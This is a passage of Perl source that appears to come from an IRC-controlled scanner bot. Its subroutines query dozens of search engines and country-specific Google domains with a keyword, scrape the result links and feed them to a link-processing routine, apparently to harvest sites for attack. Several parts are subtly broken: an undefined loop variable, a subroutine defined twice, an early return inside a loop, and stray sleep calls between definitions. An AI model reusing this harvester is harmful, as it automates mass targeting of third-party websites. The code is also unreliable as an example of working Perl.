- my $search = ("http://szukaj.onet.pl/0,".$b.",query.html?qt=".uri_escape($key));
- my $res = search_engine_query($search);
- while ($res =~ m/class=\"link\"><a href=\"http:\/\/(.+?)\">/g) {
- if ($1 !~ /onet\.pl/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub askom() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=40; $i+=1) {
- my $search = ("http://www.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=&o=0&l=dir&qid=235A0A59C3E13CDAFE9BC30D9C40E125&page=".$i."&pid=&min=&max=&jss=");
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
- if ($1 !~ /ask\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub google() {
- my @list;
- my $key = $_[0];
- for (my $b=0; $b<=1000; $b+=100){
- my $search = ($jack1.uri_escape($key)."&num=100&filter=0&start=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub walla() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=100; $b+=1) {
- my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
- my $link = $1;
- if ($link !~ /walla\.co\.il/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo(){
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=1000; $b+=10) {
- my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/([^>]*)\//g) {
- my $link = $1;
- if ($link !~ /yahoo\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ask() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=100) {
- my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /ask\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub onet() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=400; $b+=10) {
- my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
- my $link = $1;
- if ($link !~ /onet|webcache|query/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clusty() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=200; $b+=10) {
- my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
- my $res = &search_engine_query($search);
- if ($res !~ /next/) {$b=100;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($1 !~ /yippy\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bing() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=400; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/) {
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sapo(){
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
- my $res = &search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($1 !~ /\.sapo\.pt/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lycos() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link !~ /lycos\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uol() {
- my @list;
- my $key = $_[0];
- my $chan = $_[1];
- for ($b=0; $b<=1000; $b+=10) {
- my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
- my $res = &search_engine_query($search);
- if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
- while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
- my $link = $1;
- if ($link !~ /uol\.com\.br|\/web/i){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- sendraw("MODE $chan -m");
- return @list;
- }
- sub seznam() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=300; $b+=20) {
- my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
- my $link = $1;
- if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hotbot() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
- my $res = &search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
- my $link = $1;
- if ($link !~ /hotbot\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub aol() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=300; $b+=10) {
- my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link !~ /aol\.com/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub biglobe {
- my $key = $_[0];
- my @list;
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
- my $res = &search_engine_query($search);
- while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
- my $link = $1;
- if ($link !~ /biglobe/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo2() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @doms = ("nl","au","br","ca","de","es","fr","it","uk");
- foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
- for (my $i=1; $i<=1000; $i+=100) {
- my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/([^>]*)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- }
- sub kvasir() {
- my @list;
- my $key = $_[0];
- for (my $i=10; $i<=1000; $i+=100){
- my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key)."");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
- my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub quint() {
- my @lst;
- my $key = $_[0];
- for (my $i=0; $i<=50; $i+=1){
- my $search = ("http://quintura.com/?request=".uri_escape($key)."&tab=0&page=".$i."&tabid=");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
- my $link = $1;
- if ($link !~ /quintura/){
- my @grep = links($link);
- push(@lst,@grep);
- }
- }
- }
- return @lst;
- }
- sub seznam() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=1000; $b+=100) {
- my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
- if ($1 !~ /seznam/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub pagina(){
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=0; $i<=100; $i+=1){
- my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal");
- my $Res= search_engine_query($web);
- while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
- if ($1 !~ /pagina|pagina's/){
- my $k=$1;
- my @grep=links($k);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clix(){
- my @list;
- my $key = $_[0];
- for($b=1;$b<=1000;$b+=100){
- my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub ask2() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=50; $i+=1) {
- my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
- my $res = &search_engine_query($search);
- if ($res !~ /Successiva/) {$i=50;}
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
- if ($1 !~ /ask\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleCA() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleCA/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleDE() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleDE/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleUK() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleUK/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleFR() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleFR/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleES() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleES/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleIT() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleIT/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleNL() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleNL/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleBE() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleBE/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleCH() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleCH/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(4);
- sub googleSE() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleSE/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleDK() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleDK/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleNO() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleNO/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleNZ() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleNZ/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleIE() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleIE/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleBR() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /google/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(4);
- sub googleAR() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleAR/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleCO() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleCO/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleCU() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleCU/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleCL() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleCL/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleMX() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleMX/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleAU() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleAU/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleRU() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleRU/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleAT() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleAT/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googlePL() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googlePL/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(4);
- sub googleIL() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleIL/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleTR() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleTR/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleUA() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleUA/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleGR() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleGR/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleJP() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleJP/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleCN() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.cn/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleCN/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleMY() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleMY/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleTH() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleTH/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleIN() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleIN/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleKR() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleKR/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleRO() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleRO/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googleTW() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleTW/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sleep(3);
- sub googleZA() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googleZA/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub googlePT() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
- if ($link !~ /googlePT/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uk() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ($jack1.uri_escape($key)."%2Bsite%3Auk%26num%3D100%26start%3D".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
- my $link = $1;
